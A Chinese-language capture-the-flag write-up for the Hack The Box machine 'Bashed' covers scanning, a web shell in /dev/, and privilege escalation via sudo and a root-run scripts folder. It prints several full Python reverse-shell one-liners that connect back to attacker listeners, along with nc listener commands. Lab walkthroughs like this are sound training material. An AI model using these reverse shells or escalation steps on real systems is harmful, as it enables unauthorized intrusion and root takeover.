作者:whale
bashed
bashed是HTB网络实验室研究得出目前易受攻击的机器之一。
端口探测:
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
100/tcp filtered newacct
1500/tcp filtered vlsi-lm
web目录探测:
config.php: PHP配置文件数据库ID和密码
OSVDB-3268: /dev/: Directory indexing found.
OSVDB-3092: /dev/: This might be interesting...
OSVDB-3268: /php/: Directory indexing found.
OSVDB-3092: /php/: This might be interesting...
在dev/目录下找到php文件,尝试bash -i 反弹shell,失败,bash版本不适合。尝试nc -e反弹shell,nc版本不支持-e参数。
用python成功反弹了一个shell(shell 1)给kali。
kali上监听:
nc -lnvp 1234
网页上运行python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.137",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
信息搜集:普通用户:
arrexel❌1000:1000:arrexel,,,:/home/arrexel:/bin/bashscriptmanager❌1001:1001:,,,:/home/scriptmanager:/bin/bash
内核版本:
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x8664 x8664 x86_64 GNU/Linux
系统版本:
Ubuntu 16.04.2 LTS \n \l
尝试内核漏洞提权。有内核漏洞,但gcc没有安装。
该怎么提权呢?
现在用户是www-data
尝试cd /home/arrexel,看到了user.txt,获取到flag。。
我还以为会有forbidden权限不够的情况。。。怎么回事,权限没划分好么?
可以看到有三列,都是r——read,分别对应”文件所有者、组群、非组群“,因为非组群的权限是read,所以可读。然后再尝试下rm删除,果然”rm: cannot remove 'a': Permission denied“
/home/scriptmanager目录下,有个脚本,说是检查linux提权的。运行后指出了一些可以运行的exp来提权
但是没有gcc,有exp也没用啊!writeup分享一波~
sudo -u username的用法
-u username不加此参数,代表要以root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
用shell 1运行如下命令,得到shell 2
sudo -u scriptmanager python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.109",1235));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
用sudo反弹了一个scriptmanager用户的shell。在/scripts目录下,发现了它有root权限,于是我们在该目录下建立一个py脚本。
nc -lvnp 1236
touch pri.py
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.137",1236));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > pri.py
学习总结:
这个实验用了很多次python反弹shell。用sudo -u username可以用其他用户来运行命令。本次利用的scripts文件夹会自动运行常用的脚本,从而运行我们加入的反弹shell的py脚本。
但要注意:用户权限设置的注释下面,有一行NOPASSWD: ALL 说明用户使用sudo命令时,无需输入密码。